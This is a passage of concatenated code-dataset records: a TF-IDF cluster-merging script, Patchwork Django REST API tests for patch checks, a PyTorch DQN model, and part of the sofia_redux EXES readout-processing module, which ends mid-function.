"lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 9, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 11, "usage_type": "call"}, {"api_name": "db_models.Question", "line_number": 11, "usage_type": "argument"}, {"api_name": "db_models.Question.created_at.desc", "line_number": 12, "usage_type": "call"}, {"api_name": "db_models.Question.created_at", "line_number": 12, "usage_type": "attribute"}, {"api_name": "db_models.Question", "line_number": 12, "usage_type": "name"}, {"api_name": "db_models.Question", "line_number": 9, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 18, "usage_type": "name"}, {"api_name": "schemas.QuestionCreate", "line_number": 18, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 20, "usage_type": "call"}, {"api_name": "db_models.Question", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "22817563839", "text": "# -*- coding: UTF-8 -*-\r\n\r\n\"\"\"\r\nAuthor: mathstao\r\nProject: https://github.com/Mathstao/Chat-Cluster/\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\n\r\n# data为聚类结果表格的DataFrame，topN为每一类的关键词数量，name为label/sublabel，以列表的格式返回各类的tf-idf值前topN大的词语\r\ndef get_topN_tf_idf_words(data, topN, name):\r\n    n_class = len(set(data[name]))\r\n    corpus = []\r\n    for i in range(n_class):\r\n        select_data = data[data[name] == i]\r\n        corpus.append(\" \".join([select_data.iat[i, -1] for i in range(len(select_data))]))\r\n\r\n    # 该类会将文本中的词语转换为词频矩阵，矩阵元素a[i][j] 表示j词在i类文本下的词频\r\n    vectorizer = CountVectorizer()\r\n    # 该类会统计每个词语的tf-idf权值\r\n    transformer = TfidfTransformer()\r\n    # 第一个fit_transform是计算tf-idf，第二个fit_transform是将文本转为词频矩阵\r\n    tfidf = transformer.fit_transform(vectorizer.fit_transform(corpus))\r\n    # 获取词袋模型中的所有词语\r\n    word = vectorizer.get_feature_names()\r\n    # 将tf-idf矩阵抽取出来，元素a[i][j]表示j词在i类文本中的tf-idf权重\r\n    weight = tfidf.toarray()\r\n\r\n    # dicts以字典的形式记录各类中出现过的词语以及对应的tf-idf值\r\n    dicts = {}\r\n    for i in range(len(weight)):\r\n        dicts[i] = []\r\n        for j in range(len(word)):\r\n            if weight[i][j]:\r\n                dicts[i].append((word[j], weight[i][j]))\r\n\r\n    # topN_word_list为最终需要返回的结果\r\n    topN_word_list = []\r\n    for i in range(n_class):\r\n        temp = []\r\n        for j in sorted(dicts[i], key=lambda x: x[1], reverse=True)[:topN]:\r\n            temp.append(j[0])\r\n        topN_word_list.append(temp)\r\n    return topN_word_list\r\n\r\n\r\n# 根据topN_tf_idf_words_list以及计算关键词连接矩阵\r\ndef get_join_matrix(n, threshold, topN_tf_idf_words_list):\r\n    mat = np.zeros([n, n])\r\n    for i in range(n):\r\n        mat[i][i] = 1\r\n        for j in range(i, n):\r\n            if len(set(topN_tf_idf_words_list[i]) & set(topN_tf_idf_words_list[j])) >= threshold:\r\n                mat[i][j], mat[j][i] = 1, 1\r\n    return mat\r\n\r\n\r\ndef main(config):\r\n    topN = config[\"n_top_words\"]\r\n    data = pd.read_excel(config[\"cluster_excel_file\"])\r\n\r\n    print(\"\\n正在进行第二次聚类...\\n\")\r\n    topN_tf_idf_words_list = get_topN_tf_idf_words(data, topN, \"sublabel\")\r\n    mat = get_join_matrix(config[\"n_cluster_first\"], config[\"threshold_cluster_second\"], topN_tf_idf_words_list)\r\n\r\n    # 建立（合并后）新类别与（K-means初次聚类）旧类别的对应关系\r\n    results = []\r\n    for i in range(config[\"n_cluster_first\"]):\r\n        flag = 1\r\n        idx = list(np.where(mat[i, :]>0)[0])\r\n        for r in range(len(results)):\r\n            if set(idx)&set(results[r]):\r\n                results[r].extend(idx)\r\n                results[r] = list(set(results[r]))\r\n                flag = 0\r\n                break\r\n        if flag:\r\n            idx = list(np.where(mat[i, :]>0)[0])\r\n            results.append(idx)\r\n    second_to_first_dicts = {i: results[i] for i in range(len(results))}\r\n\r\n    # 建立（K-means初次聚类）旧类别与（合并后）新类别的对应关系\r\n    first_to_second_dicts = {}\r\n    for i in range(len(second_to_first_dicts)):\r\n        for j in second_to_first_dicts[i]:\r\n            first_to_second_dicts[j] = i\r\n\r\n    # 将聚类合并的结果写入DataFrame中，保存为excel表格\r\n    labels_second=[]\r\n    for i in data[\"sublabel\"]:\r\n        labels_second.append(first_to_second_dicts[int(i)])\r\n    data[\"label\"] = labels_second\r\n    data = data.sort_values([\"label\"])\r\n    data.to_excel(config[\"cluster_excel_file\"], index=False)\r\n    print(\"\\n第二次聚类完成！\\n\")\r\n", "repo_name": "Mathstao/Chat-Cluster", "sub_path": "src/cluster_second.py", "file_name": "cluster_second.py", "file_ext": "py", "file_size_in_byte": 3916, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfTransformer", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 81, "usage_type": "call"}]}
{"seq_id": "33059956731", "text": "import unittest\n\nfrom django.conf import settings\nfrom django.urls import reverse\n\nfrom patchwork.models import Check\nfrom patchwork.tests.api import utils\nfrom patchwork.tests.utils import create_check\nfrom patchwork.tests.utils import create_patch\nfrom patchwork.tests.utils import create_maintainer\nfrom patchwork.tests.utils import create_project\nfrom patchwork.tests.utils import create_user\n\nif settings.ENABLE_REST_API:\n    from rest_framework import status\n\n\n@unittest.skipUnless(settings.ENABLE_REST_API, 'requires ENABLE_REST_API')\nclass TestCheckAPI(utils.APITestCase):\n    fixtures = ['default_tags']\n\n    def api_url(self, item=None):\n        if item is None:\n            return reverse('api-check-list', args=[self.patch.id])\n        return reverse('api-check-detail', kwargs={\n            'patch_id': self.patch.id, 'check_id': item.id})\n\n    def setUp(self):\n        super(TestCheckAPI, self).setUp()\n        project = create_project()\n        self.user = create_maintainer(project)\n        self.patch = create_patch(project=project)\n\n    def _create_check(self, patch=None):\n        values = {\n            'patch': patch if patch else self.patch,\n            'user': self.user,\n        }\n        return create_check(**values)\n\n    def assertSerialized(self, check_obj, check_json):\n        self.assertEqual(check_obj.id, check_json['id'])\n        self.assertEqual(check_obj.get_state_display(), check_json['state'])\n        self.assertEqual(check_obj.target_url, check_json['target_url'])\n        self.assertEqual(check_obj.context, check_json['context'])\n        self.assertEqual(check_obj.description, check_json['description'])\n        self.assertEqual(check_obj.user.id, check_json['user']['id'])\n\n    def test_list_empty(self):\n        \"\"\"List checks when none are present.\"\"\"\n        resp = self.client.get(self.api_url())\n        self.assertEqual(status.HTTP_200_OK, resp.status_code)\n        self.assertEqual(0, len(resp.data))\n\n    @utils.store_samples('check-list')\n    def test_list(self):\n        \"\"\"List checks.\"\"\"\n        check_obj = self._create_check()\n        self._create_check(create_patch())  # second, unrelated patch\n\n        resp = self.client.get(self.api_url())\n        self.assertEqual(status.HTTP_200_OK, resp.status_code)\n        self.assertEqual(1, len(resp.data))\n        self.assertSerialized(check_obj, resp.data[0])\n\n    def test_list_filter_user(self):\n        \"\"\"Filter checks by user.\"\"\"\n        check_obj = self._create_check()\n\n        # test filtering by owner, both ID and username\n        resp = self.client.get(self.api_url(), {'user': self.user.id})\n        self.assertEqual([check_obj.id], [x['id'] for x in resp.data])\n\n        resp = self.client.get(self.api_url(), {'user': self.user.username})\n        self.assertEqual([check_obj.id], [x['id'] for x in resp.data])\n\n        resp = self.client.get(self.api_url(), {'user': 'otheruser'})\n        self.assertEqual(0, len(resp.data))\n\n    def test_list_invalid_patch(self):\n        \"\"\"Ensure we get a 404 for a non-existent patch.\"\"\"\n        resp = self.client.get(\n            reverse('api-check-list', kwargs={'patch_id': '99999'}))\n        self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)\n\n    @utils.store_samples('check-detail')\n    def test_detail(self):\n        \"\"\"Show a check.\"\"\"\n        check = self._create_check()\n        resp = self.client.get(self.api_url(check))\n        self.assertEqual(status.HTTP_200_OK, resp.status_code)\n        self.assertSerialized(check, resp.data)\n\n    def _test_create(self, user):\n        check = {\n            'state': 'success',\n            'target_url': 'http://t.co',\n            'description': 'description',\n            'context': 'context',\n        }\n\n        self.client.force_authenticate(user=user)\n        return self.client.post(self.api_url(), check)\n\n    @utils.store_samples('check-create-error-forbidden')\n    def test_create_non_maintainer(self):\n        \"\"\"Create a check as a non-maintainer.\n\n        Ensure creations can only be performed by maintainers.\n        \"\"\"\n        user = create_user()\n\n        resp = self._test_create(user=user)\n        self.assertEqual(status.HTTP_403_FORBIDDEN, resp.status_code)\n\n    @utils.store_samples('check-create')\n    def test_create_maintainer(self):\n        \"\"\"Create a check as a maintainer.\n\n        Ensure creations can only be performed by maintainers.\n        \"\"\"\n        resp = self._test_create(user=self.user)\n        self.assertEqual(status.HTTP_201_CREATED, resp.status_code)\n        self.assertEqual(1, Check.objects.all().count())\n        self.assertSerialized(Check.objects.first(), resp.data)\n\n    @utils.store_samples('check-create-error-bad-request')\n    def test_create_invalid_state(self):\n        \"\"\"Create a check using invalid values.\n\n        Ensure we handle invalid check states.\n        \"\"\"\n        check = {\n            'state': 'this-is-not-a-valid-state',\n            'target_url': 'http://t.co',\n            'description': 'description',\n            'context': 'context',\n        }\n\n        self.client.force_authenticate(user=self.user)\n        resp = self.client.post(self.api_url(), check)\n        self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)\n        self.assertEqual(0, Check.objects.all().count())\n\n    @utils.store_samples('check-create-error-not-found')\n    def test_create_invalid_patch(self):\n        \"\"\"Ensure we handle non-existent patches.\"\"\"\n        check = {\n            'state': 'success',\n            'target_url': 'http://t.co',\n            'description': 'description',\n            'context': 'context',\n        }\n\n        self.client.force_authenticate(user=self.user)\n        resp = self.client.post(\n            reverse('api-check-list', kwargs={'patch_id': '99999'}), check)\n        self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)\n\n    def test_update_delete(self):\n        \"\"\"Ensure updates and deletes aren't allowed\"\"\"\n        check = self._create_check()\n        self.user.is_superuser = True\n        self.user.save()\n        self.client.force_authenticate(user=self.user)\n\n        resp = self.client.patch(self.api_url(check), {'target_url': 'fail'})\n        self.assertEqual(status.HTTP_405_METHOD_NOT_ALLOWED, resp.status_code)\n\n        resp = self.client.delete(self.api_url(check))\n        self.assertEqual(status.HTTP_405_METHOD_NOT_ALLOWED, resp.status_code)\n", "repo_name": "veruu/patchwork", "sub_path": "patchwork/tests/api/test_check.py", "file_name": "test_check.py", "file_ext": "py", "file_size_in_byte": 6382, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.conf.settings.ENABLE_REST_API", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.APITestCase", "line_number": 19, "usage_type": "attribute"}, {"api_name": "patchwork.tests.api.utils", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 25, "usage_type": "call"}, {"api_name": "patchwork.tests.utils.create_project", "line_number": 30, "usage_type": "call"}, {"api_name": "patchwork.tests.utils.create_maintainer", "line_number": 31, "usage_type": "call"}, {"api_name": "patchwork.tests.utils.create_patch", "line_number": 32, "usage_type": "call"}, {"api_name": "patchwork.tests.utils.create_check", "line_number": 39, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 52, "usage_type": "name"}, {"api_name": "patchwork.tests.utils.create_patch", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 62, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 62, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 55, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 55, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 83, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 91, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 91, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 86, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 86, "usage_type": "name"}, {"api_name": "patchwork.tests.utils.create_user", "line_number": 111, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 114, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 114, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 105, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 105, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 123, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 123, "usage_type": "name"}, {"api_name": "patchwork.models.Check.objects.all", "line_number": 124, "usage_type": "call"}, {"api_name": "patchwork.models.Check.objects", "line_number": 124, "usage_type": "attribute"}, {"api_name": "patchwork.models.Check", "line_number": 124, "usage_type": "name"}, {"api_name": "patchwork.models.Check.objects.first", "line_number": 125, "usage_type": "call"}, {"api_name": "patchwork.models.Check.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "patchwork.models.Check", "line_number": 125, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 116, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 116, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 142, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 142, "usage_type": "name"}, {"api_name": "patchwork.models.Check.objects.all", "line_number": 143, "usage_type": "call"}, {"api_name": "patchwork.models.Check.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "patchwork.models.Check", "line_number": 143, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 127, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 127, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 157, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 158, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 158, "usage_type": "name"}, {"api_name": "patchwork.tests.api.utils.store_samples", "line_number": 145, "usage_type": "call"}, {"api_name": "patchwork.tests.api.utils", "line_number": 145, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_405_METHOD_NOT_ALLOWED", "line_number": 168, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 168, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_405_METHOD_NOT_ALLOWED", "line_number": 171, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 171, "usage_type": "name"}, {"api_name": "unittest.skipUnless", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.settings.ENABLE_REST_API", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "24513404213", "text": "from torch import nn\nimport torch.nn.functional as F\nfrom torch.nn import Sequential\nimport torch\n\nconv1 = lambda f_in, f_out: nn.Conv3d(f_in, f_out, kernel_size=(1,3,3), stride=1, padding=(0,1,1))\nconv2 = lambda f_in, f_out: nn.Conv3d(f_in, f_out, kernel_size=(1,3,3), stride=1, padding=(0,0,0))\nbn = lambda f: nn.BatchNorm3d(f)\nlr = nn.LeakyReLU\n\nblock1 = lambda f_in, f_out : [conv1(f_in, f_out), bn(f_out), lr(inplace=True)]\nblock2 = lambda f_in, f_out : [conv2(f_in, f_out), bn(f_out), lr(inplace=True)]\n\nclass DQN(nn.Module):\n\n    def __init__(self):\n        super(DQN, self).__init__()\n\n        self.layers1 = Sequential(\n            *block1(1, 8),\n            *block1(8, 16),\n            nn.Conv3d(16, 16, kernel_size=(3, 1, 1)),\n            *block2(16, 32),\n            *block1(32, 48),\n            nn.Conv3d(48, 48, kernel_size=(2, 1, 1)),\n            *block1(48, 64),\n            *block1(64, 80),\n            nn.Flatten()\n        )\n\n        self.linear1 = nn.Linear(960, 120)\n        self.linear2 = nn.Linear(120, 4)\n\n    # Called with either one element to determine next action, or a batch\n    # during optimization. Returns tensor([[left0exp,right0exp]...]).\n    def forward(self, x):\n\n        conv_layers = self.layers1(x)\n        l1 = lr()(self.linear1(conv_layers))\n        pos_ranks = self.linear2(l1)\n\n        return pos_ranks", "repo_name": "muffin-rice/Pad-Misc", "sub_path": "Solver/DQN.py", "file_name": "DQN.py", "file_ext": "py", "file_size_in_byte": 1345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.Conv3d", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.nn.Conv3d", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm3d", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.Conv3d", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Conv3d", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "86284266969", "text": "# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport re\n\nfrom astropy import log\nimport bottleneck as bn\nimport numpy as np\n\nfrom sofia_redux.instruments.exes.lincor import lincor\nfrom sofia_redux.instruments.exes.get_badpix import get_badpix\nfrom sofia_redux.instruments.exes.utils import get_reset_dark\n\n__all__ = ['readraw']\n\n\ndef readraw(data, header, do_lincor=False, algorithm=None,\n            toss_nint=0, copy_int=True):\n    \"\"\"\n    Correct for nonlinearity combine individual readouts.\n\n    First corrects nonlinearity for each readout frame (`exes.lincor`),\n    then determines the readout pattern from the OTPAT keyword.\n\n    For readout coadding methods, this step currently has support for Fowler\n    mode, simple destructive read, and equally spaced sample-up-the-ramp\n    patterns.  Frames are combined and variance is calculated based on the\n    readout pattern, using algorithms from the following paper:\n\n        Nonlinearity Corrections and Statistical Uncertainties\n        Associated with Near-Infrared Arrays, William D. Vacca,\n        Michael C. Cushing and John T. Rayner (2004, PASP 116, 352).\n\n    The readout algorithm may also be directly specified by the `algorithm`\n    parameter, which takes the following possible integer values:\n\n        - 0 : Use the last destructive frame only\n        - 1 : Simple destructive mode\n        - 2 : Use the first and last frames only\n        - 3 : Use the second and penultimate frames only\n        - 4 : Fowler mode\n        - 5 : Sample-up-the-ramp mode\n\n    After readout coadd, multiple frames taken at the same nod position (as\n    indicated by the NINT keyword) are averaged.  Extra frames that\n    do not match the OTPAT or NINT pattern are dropped.\n\n    Parameters\n    ----------\n    data : numpy.ndarray\n        [nframe, nspec, nspat] array of float values.\n    header : fits.Header\n        FITS header produced by `exes.readhdr`.  Note that the header will\n        be updated in-place.\n    do_lincor : bool, optional\n        If True, do the nonlinear correction.  If False, no check is\n        performed on data quality: the output mask will be all False\n        (no bad pixels).\n    algorithm : int, optional\n        Used to select processing mode.  If None, defaults to that determined\n        by `check_readout_pattern`.\n    toss_nint : int, optional\n        If provided and greater than 0 but less than the number of\n        integrations present in the data, `toss_nint` integrations will be\n        discarded from the beginning of the data array.  If the number\n        equals the number of integrations, the first nod is a B nod,\n        and there is another B nod in the data array, the first integrations\n        are instead replaced with a copy of the second B nod.\n    copy_int : bool, optional\n        If `toss_nint` is greater than 0 and `copy_int` is True, replacement\n        integrations are always copied from the next B nod, regardless of\n        the number of integrations available.\n\n    Returns\n    -------\n    coadd_data, variance, mask : 3-tuple of numpy.ndarray\n       The coadded data, variance, and good data mask.  The coadd_data and\n       variance have shape (nframes, ny, nx).  The mask has shape (ny, nx)\n       and Boolean data type, where True indicates a good pixel; False\n       indicates a bad pixel.\n    \"\"\"\n    _check_header(header)\n    data = _check_data(data)\n    data, mask = _get_data_subarray(data, header)\n    data, readmode = _check_readout_pattern(data, header)\n\n    if isinstance(algorithm, int):\n        touse_lookup = {\n            0: 'last destructive',\n            1: 'destructive',\n            2: 'first/last nd',\n            3: 'second/penultimate nd',\n            4: 'fowler',\n            5: 'sample-up-the-ramp'}\n        touse = touse_lookup.get(algorithm)\n        if touse is None:\n            raise ValueError(f'Invalid algorithm: {touse}')\n    else:\n        touse = readmode['mode']\n\n    if do_lincor:\n        log.info(\"Applying linear correction\")\n        lindata, linmask = lincor(data, header)\n        # \"And\" the output mask to get all nonlinear detector pixels\n        mask &= np.all(linmask, axis=0)\n    else:\n        log.info(\"Linear correction not applied: do_lincor=False\")\n        lindata = data.copy()\n\n    log.info('')\n    log.info(f'Using read mode algorithm: {touse}')\n    log.info('')\n    if touse == 'destructive' or touse == 'last destructive':\n        coadd_data, variance = _process_destructive(data, header, readmode)\n    elif touse == 'first/last nd':\n        coadd_data, variance = _process_nondestructive1(\n            lindata, header, readmode)\n    elif touse == 'second/penultimate nd':\n        coadd_data, variance = _process_nondestructive2(\n            lindata, header, readmode)\n    elif touse == 'fowler':\n        coadd_data, variance = _process_fowler(lindata, header, readmode)\n    elif touse == 'sample-up-the-ramp':\n        coadd_data, variance = _process_sample_up_the_ramp(\n            data, header, readmode)\n    else:  # pragma: no cover\n        # shouldn't be reachable\n        raise ValueError(f'Unrecognized readmode: {readmode[\"mode\"]}')\n\n    coadd_data, variance = _combine_nods(coadd_data, variance, header,\n                                         readmode, toss_nint, copy_int)\n\n    return coadd_data, variance, mask\n\n\ndef _get_data_subarray(data, header):\n    ectpat = str(header.get('ECTPAT', 'UNKNOWN')).split()\n    if len(ectpat) == 6:\n        ectpat = np.asarray(ectpat, dtype=int)\n        ystart = ectpat[2] * 2\n        ystop = ystart + (ectpat[3] * 2)\n        xstart = ectpat[4]\n        xstop = xstart + (ectpat[5])\n    else:\n        xstart = 0\n        xstop = data.shape[2]\n        ystart = 0\n        ystop = data.shape[1]\n\n    nframes, ny, nx = data.shape\n\n    bpm = get_badpix(header)\n    if bpm is not None:\n        if bpm.shape[0] < ny or bpm.shape[1] < nx:\n            raise ValueError(\n                \"Bad pixel mask is too small %s; data shape is %s\" %\n                (repr(bpm.shape), repr(data.shape[1:])))\n\n        # Reference columns are marked as 2 in the badpix mask\n        refidx = bpm == 2\n        if refidx.any():\n            xrange = np.where(~refidx)[1]\n            data = data[:, :, xrange.min():xrange.max() + 1]\n            bpm = bpm[:, xrange.min():xrange.max() + 1]\n            nx = data.shape[2]\n            xstart = 0\n            xstop = nx\n\n        # Take subarray if needed\n        bpm = bpm[ystart:ystop, xstart:xstop]\n\n    mask = np.full((ny, nx), True)\n    if bpm is not None:\n        mask[bpm != 1] = False\n\n    # Store data size\n    header['DETSEC'] = '[%i:%i,%i:%i]' % (\n        xstart + 1, xstop, ystart + 1, ystop)\n    header['NSPAT'] = nx\n    header['NSPEC'] = ny\n\n    # Correct frametime for subarray size as needed\n    header['FRAMETIM'] *= ny / 1024.\n\n    return data, mask\n\n\ndef _check_header(header):\n    \"\"\"Ensure header values are of the correct type\"\"\"\n    header['OTPAT'] = str(header['OTPAT']).upper().strip()\n    header['NINT'] = int(header['NINT'])\n    header['FRAMETIM'] = float(header['FRAMETIM'])\n    header['READNOIS'] = float(header['READNOIS'])\n    header['DARKVAL'] = float(header['DARKVAL'])\n\n    try:\n        header['PAGAIN'] = float(header['PAGAIN'])\n    except (KeyError, ValueError):\n        header['PAGAIN'] = 1.0\n\n    try:\n        header['EPERADU'] = float(header['EPERADU'])\n    except (KeyError, ValueError):\n        header['EPERADU'] = 1.0\n\n\ndef _check_data(data):\n    data = np.asarray(data, dtype=float)\n    if data.ndim == 2:\n        data = data[None]\n    if data.ndim != 3:\n        raise ValueError(\"Data must be a 3-D cube (nframe, nspec, nspat)\")\n    return data\n\n\ndef _check_readout_pattern(data, header):\n    regex = re.compile('[STNDC][0-9]+')\n    if regex.match(header['OTPAT']) is None:\n        raise ValueError(\"Unreadable OT pattern. OTPAT=%s\" % header['OTPAT'])\n    patterns = regex.findall(header['OTPAT'])\n\n    spin = trash = nondest = dest = coadd = nread = npass = 0\n    for pattern in patterns:\n        optype, n_op = pattern[0], int(pattern[1:]) + 1\n        if optype == 'S':\n            spin += n_op\n            npass += n_op\n        elif optype == 'T':\n            trash += n_op\n        elif optype == 'D':\n            dest += n_op\n            npass += n_op\n        elif optype == 'C':\n            coadd += n_op\n            dest += n_op\n            npass += n_op\n        elif optype == 'N':\n            nread += 1\n            nondest += n_op\n            npass += n_op\n\n    nframes = coadd if coadd > 0 else (nondest + dest)\n    npattern = data.shape[0] // nframes\n    if npattern == 0:\n        raise ValueError(f\"Data does not match OTPAT={header['OTPAT']}.\"\n                         \" A full pattern is not present; aborting.\")\n    elif (npattern * nframes) != data.shape[0]:\n        log.warning(f\"Data does not match OTPAT={header['OTPAT']}.\"\n                    \" Dropping extra frames.\")\n        data = data[:npattern * nframes]\n\n    if nread == 2 or (nread == 1 and nondest == 1):\n        mode = 'fowler'\n    elif nondest == 0 and dest == 1 and nframes == 1:\n        mode = 'destructive'\n    elif nondest != 0 and dest == 1:\n        mode = 'sample-up-the-ramp'\n    else:\n        raise ValueError(\"Unrecognized readmode\")\n\n    log.info('')\n    log.info(f\"Readout pattern: {header['OTPAT']}\")\n    log.info(f\"Frame(s) per pattern: {nframes}\")\n    log.info(f\"Total frames: {data.shape[0]}\")\n    log.info(f\"Recommended readout mode: {mode}\")\n\n    readmode = {'spin': spin,\n                'trash': trash,\n                'nondest': nondest,\n                'dest': dest,\n                'coadd': coadd,\n                'nread': nread,\n                'npass': npass,\n                'nframes': nframes,\n                'npattern': npattern,\n                'mode': mode}\n\n    return data, readmode\n\n\ndef _process_destructive(data, header, readmode):\n    # Using D only\n    log.info('Last destructive read')\n    frametime = float(header['FRAMETIM'])\n    interval = (readmode['dest'] + readmode['nondest']\n                + readmode['spin']) * frametime\n    log.info(f'Interval = {interval}')\n\n    read_noise = float(header['READNOIS'])\n    gain = float(header['PAGAIN'])\n    eperadu = float(header['EPERADU'])\n    zeroval = float(header['DARKVAL']) / (frametime * gain)\n    gain_factor = interval * gain\n    v_gain_factor = interval * eperadu\n\n    shape = readmode['npattern'], data.shape[1], data.shape[2]\n    coadd_data = np.empty(shape, dtype=float)\n    variance = np.empty(shape, dtype=float)\n\n    dark1s = get_reset_dark(header)\n    for i in range(readmode['npattern']):\n        if readmode['coadd'] == 1:  # pragma: no cover\n            # The Fowler coadd/subtraction should have been done in hardware\n            # (this OTPAT was never used for EXES)\n            coadd_data[i] = zeroval - data[i] / gain_factor\n        else:\n            pattern_start = i * readmode['nframes']\n            pattern_end = pattern_start + readmode['nframes']\n            signal = data[pattern_end - 1]\n            coadd_data[i] = zeroval - (signal - dark1s[None]) / gain_factor\n\n        variance[i] = (np.abs(coadd_data[i]) / v_gain_factor\n                       + (read_noise / v_gain_factor) ** 2)\n\n    header['NFRAME'] = 1\n    header['BEAMTIME'] = interval\n    return coadd_data, variance\n\n\ndef _process_nondestructive1(lindata, header, readmode):\n    if readmode['nondest'] + readmode['dest'] < 2:\n        raise ValueError('OTPAT is not suitable for First/Last ND mode')\n\n    log.info(\"First/Last ND mode\")\n    frametime = float(header['FRAMETIM'])\n    nread = (readmode['nondest'] + readmode['dest']) // 2\n\n    interval = (readmode['dest']\n                + readmode['nondest']\n                + readmode['spin'] - 1) * frametime\n    log.info(f'Interval = {interval}')\n\n    gain = float(header['PAGAIN'])\n    gainfac = gain * interval\n    vgainfac = float(header['EPERADU']) * interval\n    readnoise = float(header['READNOIS'])\n    darkval = float(header['DARKVAL'])\n    zeroval = darkval / (frametime * gain)\n    nframes = readmode['nframes']\n\n    shape = readmode['npattern'], lindata.shape[1], lindata.shape[2]\n    coadd_data = np.empty(shape, dtype=float)\n    variance = np.empty(shape, dtype=float)\n\n    for i in range(shape[0]):\n        if readmode['coadd'] == 1:  # pragma: no cover\n            # (this OTPAT was never used for EXES)\n            